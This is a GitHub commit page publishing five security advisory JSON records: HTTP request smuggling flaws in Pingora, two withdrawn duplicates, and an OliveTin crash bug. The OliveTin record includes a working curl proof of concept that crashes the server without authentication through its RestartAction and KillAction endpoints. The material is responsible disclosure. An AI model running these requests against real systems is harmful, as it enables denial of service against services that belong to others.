Skip to content

Commit 6c107cf

Browse files
advisory-database[bot]advisory-database[bot]
committed
Publish Advisories
GHSA-262p-vjx5-45xh GHSA-f9v3-j2m7-4hpg GHSA-fwhj-785h-43hh GHSA-hj7x-879w-vrp7 GHSA-xq2h-p299-vjwv GHSA-262p-vjx5-45xh GHSA-f9v3-j2m7-4hpg
1 parent ab90936 commit 6c107cf

File tree

7 files changed

+320
-72
lines changed

7 files changed

+320
-72
lines changed

‎advisories/github-reviewed/2026/03/GHSA-262p-vjx5-45xh/GHSA-262p-vjx5-45xh.json‎

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-262p-vjx5-45xh",
4+
"modified": "2026-03-05T20:55:52Z",
5+
"published": "2026-03-05T00:31:11Z",
6+
"withdrawn": "2026-03-05T20:55:52Z",
7+
"aliases": [],
8+
"summary": "Duplicate Advisory: HTTP Request Smuggling via HTTP/1.0 and Transfer-Encoding Misparsing",
9+
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-hj7x-879w-vrp7. This link is maintained to preserve external references.\n\n### Original Description\nAn HTTP Request Smuggling vulnerability (CWE-444) has been found in Pingora's parsing of HTTP/1.0 and Transfer-Encoding requests. The issue occurs due to improperly allowing HTTP/1.0 request bodies to be close-delimited and incorrect handling of multiple Transfer-Encoding values, allowing attackers to send HTTP/1.0 requests in a way that would desync Pingora’s request framing from backend servers’.\n\nImpact\n\nThis vulnerability primarily affects standalone Pingora deployments in front of certain backends that accept HTTP/1.0 requests. An attacker could craft a malicious payload following this request that Pingora forwards to the backend in order to:\n\n * Bypass proxy-level ACL controls and WAF logic\n\n\n\n\n * Poison caches and upstream connections, causing subsequent requests from legitimate users to receive responses intended for smuggled requests\n\n\n\n\n * Perform cross-user attacks by hijacking sessions or smuggling requests that appear to originate from the trusted proxy IP\n\n\n\n\nCloudflare's CDN infrastructure was not affected by this vulnerability, as its ingress proxy layers forwarded HTTP/1.1 requests only, rejected ambiguous framing such as invalid Content-Length values, and forwarded a single Transfer-Encoding: chunked header for chunked requests.\n\n\nMitigation:\n\nPingora users should upgrade to Pingora v0.8.0 or higher that fixes this issue by correctly parsing message length headers per RFC 9112 and strictly adhering to more RFC guidelines, including that HTTP request bodies are never close-delimited.\n\nAs a workaround, users can reject certain requests with an error in the request filter logic in order to stop processing bytes on the connection and disable downstream connection reuse. The user should reject any non-HTTP/1.1 request, or a request that has invalid Content-Length, multiple Transfer-Encoding headers, or Transfer-Encoding header that is not an exact “chunked” string match.",
10+
"severity": [
11+
{
12+
"type": "CVSS_V4",
13+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
14+
}
15+
],
16+
"affected": [
17+
{
18+
"package": {
19+
"ecosystem": "crates.io",
20+
"name": "pingora-core"
21+
},
22+
"ranges": [
23+
{
24+
"type": "ECOSYSTEM",
25+
"events": [
26+
{
27+
"introduced": "0"
28+
},
29+
{
30+
"fixed": "0.8.0"
31+
}
32+
]
33+
}
34+
]
35+
}
36+
],
37+
"references": [
38+
{
39+
"type": "ADVISORY",
40+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2835"
41+
},
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/cloudflare/pingora"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://rustsec.org/advisories/RUSTSEC-2026-0034.html"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-444"
54+
],
55+
"severity": "CRITICAL",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2026-03-05T20:55:52Z",
58+
"nvd_published_at": "2026-03-05T00:15:57Z"
59+
}
60+
}

‎advisories/github-reviewed/2026/03/GHSA-f9v3-j2m7-4hpg/GHSA-f9v3-j2m7-4hpg.json‎

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-f9v3-j2m7-4hpg",
4+
"modified": "2026-03-05T20:54:59Z",
5+
"published": "2026-03-05T00:31:11Z",
6+
"withdrawn": "2026-03-05T20:54:59Z",
7+
"aliases": [],
8+
"summary": "Duplicate Advisory: HTTP Request Smuggling via Premature Upgrade",
9+
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-xq2h-p299-vjwv. This link is maintained to preserve external references.\n\n### Original Description\nAn HTTP request smuggling vulnerability (CWE-444) was found in Pingora's handling of HTTP/1.1 connection upgrades. The issue occurs when a Pingora proxy reads a request containing an Upgrade header, causing the proxy to pass through the rest of the bytes on the connection to a backend before the backend has accepted the upgrade. An attacker can thus directly forward a malicious payload after a request with an Upgrade header to that backend in a way that may be interpreted as a subsequent request header, bypassing proxy-level security controls and enabling cross-user session hijacking.\n\nImpact\n\nThis vulnerability primarily affects standalone Pingora deployments where a Pingora proxy is exposed to external traffic. An attacker could exploit this to:\n\n * Bypass proxy-level ACL controls and WAF logic\n\n\n\n\n * Poison caches and upstream connections, causing subsequent requests from legitimate users to receive responses intended for smuggled requests\n\n\n\n\n * Perform cross-user attacks by hijacking sessions or smuggling requests that appear to originate from the trusted proxy IP\n\n\n\n\nCloudflare's CDN infrastructure was not affected by this vulnerability, as ingress proxies in the CDN stack maintain proper HTTP parsing boundaries and do not prematurely switch to upgraded connection forwarding mode.\n\n\nMitigation:\n\nPingora users should upgrade to Pingora v0.8.0 or higher\n\n\nAs a workaround, users may return an error on requests with the Upgrade header present in their request filter logic in order to stop processing bytes beyond the request header and disable downstream connection reuse.",
10+
"severity": [
11+
{
12+
"type": "CVSS_V4",
13+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
14+
}
15+
],
16+
"affected": [
17+
{
18+
"package": {
19+
"ecosystem": "crates.io",
20+
"name": "pingora-core"
21+
},
22+
"ranges": [
23+
{
24+
"type": "ECOSYSTEM",
25+
"events": [
26+
{
27+
"introduced": "0"
28+
},
29+
{
30+
"fixed": "0.8.0"
31+
}
32+
]
33+
}
34+
]
35+
}
36+
],
37+
"references": [
38+
{
39+
"type": "ADVISORY",
40+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2833"
41+
},
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/cloudflare/pingora"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://rustsec.org/advisories/RUSTSEC-2026-0033.html"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-444"
54+
],
55+
"severity": "CRITICAL",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2026-03-05T20:54:59Z",
58+
"nvd_published_at": "2026-03-05T00:15:57Z"
59+
}
60+
}

‎advisories/github-reviewed/2026/03/GHSA-fwhj-785h-43hh/GHSA-fwhj-785h-43hh.json‎

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-fwhj-785h-43hh",
4+
"modified": "2026-03-05T20:54:25Z",
5+
"published": "2026-03-05T20:54:25Z",
6+
"aliases": [],
7+
"summary": "OliveTin has crash on NPE by calling APIs with invalid bindings or log references",
8+
"details": "### Summary\nAn unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via `StartActionByGet` (invalid action ID), then calling `KillAction` or `RestartAction` on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (`Empty reply from server`), enabling denial of service through panic/log/CPU amplification.\n\n### Details\nThe issue is caused by this flow:\n\n 1. `StartActionByGet` accepts arbitrary `actionId` and still calls executor:\n - `service/internal/api/api.go:239`\n\n 2. Executor stores a log entry before binding validation:\n - `service/internal/executor/executor.go:519`\n\n 3. If binding is nil, execution stops, but the log entry remains:\n - `service/internal/executor/executor.go:781`\n\n 4. `KillAction` dereferences `execReqLogEntry.Binding.Action` without checking `Binding`:\n - `service/internal/api/api.go:79`\n\n 5. `RestartAction` has the same unsafe dereference:\n - `service/internal/api/api.go:1285`\n\nBecause the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.\n\n\n### PoC\n Environment:\n - OliveTin default single frontend on `http://localhost:1337`\n - Reproduced on `main` (commit `235493e`) and tag `3000.11.0`\n\n 1) Create orphan tracking ID with invalid action:\n ```bash\n T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \\\n -H 'Content-Type: application/json' \\\n --data '{\"actionId\":\"does-not-exist\"}' \\\n | sed -n 's/.*\"executionTrackingId\":\"\\([^\"]*\\)\".*/\\1/p')\n echo \"$T\"\n\n 2. Trigger panic in RestartAction:\n\n curl -v -X POST http://localhost:1337/api/RestartAction \\\n -H 'Content-Type: application/json' \\\n --data \"{\\\"executionTrackingId\\\":\\\"$T\\\"}\"\n\n 3. Trigger panic in KillAction:\n\n curl -v -X POST http://localhost:1337/api/KillAction \\\n -H 'Content-Type: application/json' \\\n --data \"{\\\"executionTrackingId\\\":\\\"$T\\\"}\"\n\nObserved client output:\n\n - curl: (52) Empty reply from server\n\nObserved server log:\n\n - panic serving ... runtime error: invalid memory address or nil pointer dereference\n - stack points to:\n - service/internal/api/api.go:79 (KillAction)\n - service/internal/api/api.go:1285 (RestartAction)\n\n```\n### Impact\n\nThis is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/OliveTin/OliveTin"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "0.0.0-20260304225158-bb14c5da3e64"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-fwhj-785h-43hh"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/OliveTin/OliveTin/commit/bb14c5da3e64b03f207c7f38139eb60e97c278fc"
44+
},
45+
{
46+
"type": "PACKAGE",
47+
"url": "https://github.com/OliveTin/OliveTin"
48+
},
49+
{
50+
"type": "WEB",
51+
"url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
52+
}
53+
],
54+
"database_specific": {
55+
"cwe_ids": [
56+
"CWE-20",
57+
"CWE-476"
58+
],
59+
"severity": "MODERATE",
60+
"github_reviewed": true,
61+
"github_reviewed_at": "2026-03-05T20:54:25Z",
62+
"nvd_published_at": null
63+
}
64+
}

‎advisories/github-reviewed/2026/03/GHSA-hj7x-879w-vrp7/GHSA-hj7x-879w-vrp7.json‎

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-hj7x-879w-vrp7",
4+
"modified": "2026-03-05T20:56:21Z",
5+
"published": "2026-03-05T20:56:20Z",
6+
"aliases": [
7+
"CVE-2026-2835"
8+
],
9+
"summary": "Pingora has HTTP Request Smuggling via HTTP/1.0 and Transfer-Encoding Misparsing",
10+
"details": "### Impact\nPingora versions prior to 0.8.0 improperly allowed HTTP/1.0 request bodies to be close-delimited and incorrectly handled multiple Transfer-Encoding values. This allows an attacker to desync Pingora's request framing from backend servers and smuggle requests to the backend.\n\nThis vulnerability primarily affects standalone Pingora deployments in front of certain backends that accept HTTP/1.0 requests. An attacker could exploit this to bypass proxy-level ACL controls and WAF logic, poison caches and upstream connections, or perform cross-user attacks by hijacking sessions.\n\nNote: Cloudflare customers and Cloudflare's CDN infrastructure were not affected by this vulnerability, as its ingress proxy layers rejected ambiguous framing such as invalid Content-Length values and internally forwarded non-ambiguous message length framing headers.\n\n### Patches\nPingora users should upgrade to Pingora v0.8.0 or higher that fixes this issue by correctly parsing message length headers per RFC 9112 and strictly adhering to more RFC guidelines, including that HTTP request bodies are never close-delimited (commits 7f7166d62fa916b9f11b2eb8f9e3c4999e8b9023, 40c3c1e9a43a86b38adeab8da7a2f6eba68b83ad, and 87e2e2fb37edf9be33e3b1d04726293ae6bf2052).\n\n### Workarounds\nAs a workaround, users can reject certain requests with an error in the request filter logic in order to stop processing bytes on the connection and disable downstream connection reuse. The user should reject any non-HTTP/1.1 request, or a request that has invalid Content-Length, multiple Transfer-Encoding headers, or Transfer-Encoding header that is not an exact “chunked” string match.\n\n### Resources\nSee https://www.cve.org/CVERecord?id=CVE-2026-2835. An upcoming Cloudflare blog will also contain more details.\n\n### Credits\nDisclosed responsibly by Rajat Raghav (@xclow3n) through the Cloudflare [Bug Bounty Program](https://www.cloudflare.com/disclosure/).",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "crates.io",
21+
"name": "pingora-core"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.8.0"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.7.0"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/cloudflare/pingora/security/advisories/GHSA-hj7x-879w-vrp7"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2835"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/cloudflare/pingora"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://rustsec.org/advisories/RUSTSEC-2026-0034.html"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-444"
62+
],
63+
"severity": "CRITICAL",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-03-05T20:56:20Z",
66+
"nvd_published_at": null
67+
}
68+
}

‎advisories/github-reviewed/2026/03/GHSA-xq2h-p299-vjwv/GHSA-xq2h-p299-vjwv.json‎

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-xq2h-p299-vjwv",
4+
"modified": "2026-03-05T20:55:29Z",
5+
"published": "2026-03-05T20:55:29Z",
6+
"aliases": [
7+
"CVE-2026-2833"
8+
],
9+
"summary": "Pingora vulnerable to HTTP Request Smuggling via Premature Upgrade",
10+
"details": "### Impact\nPingora versions prior to 0.8.0 would immediately forward bytes following a request with an Upgrade header to the backend, without waiting for a 101 Switching Protocols response. This allows an attacker to smuggle requests to the backend and bypass proxy-level security controls.\n\nThis vulnerability primarily affects standalone Pingora deployments where a Pingora proxy is exposed to external traffic. An attacker could exploit this to bypass proxy-level ACL controls and WAF logic, poison caches and upstream connections, or perform cross-user attacks by hijacking sessions.\n\nNote: Cloudflare customers and Cloudflare's CDN infrastructure were not affected by this vulnerability, as ingress proxies in the CDN stack maintain proper HTTP parsing boundaries and do not prematurely switch to upgraded connection forwarding mode.\n\n### Patches\nPingora users should upgrade to Pingora v0.8.0 or higher, which fixes this issue by only switching connection modes after receiving a 101 Switching Protocols response from the backend (hash 824bdeefc61e121cc8861de1b35e8e8f39026ecd). Without a 101 response, subsequent bytes continue to be parsed as HTTP requests.\n\n### Workarounds\nAs a workaround, users may return an error on requests with the Upgrade header present in their request filter logic in order to stop processing bytes beyond the request header and disable downstream connection reuse.\n\n### Resources\nSee https://www.cve.org/cverecord?id=CVE-2026-2833. An upcoming Cloudflare blog will also contain more details.\n\n### Credits\nDisclosed responsibly by Rajat Raghav (@xclow3n) through the Cloudflare [Bug Bounty Program](https://www.cloudflare.com/disclosure/).",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "crates.io",
21+
"name": "pingora-core"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.8.0"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.7.0"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/cloudflare/pingora/security/advisories/GHSA-xq2h-p299-vjwv"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2833"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/cloudflare/pingora"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://rustsec.org/advisories/RUSTSEC-2026-0033.html"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-444"
62+
],
63+
"severity": "CRITICAL",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-03-05T20:55:29Z",
66+
"nvd_published_at": null
67+
}
68+
}

0 commit comments

Comments
 (0)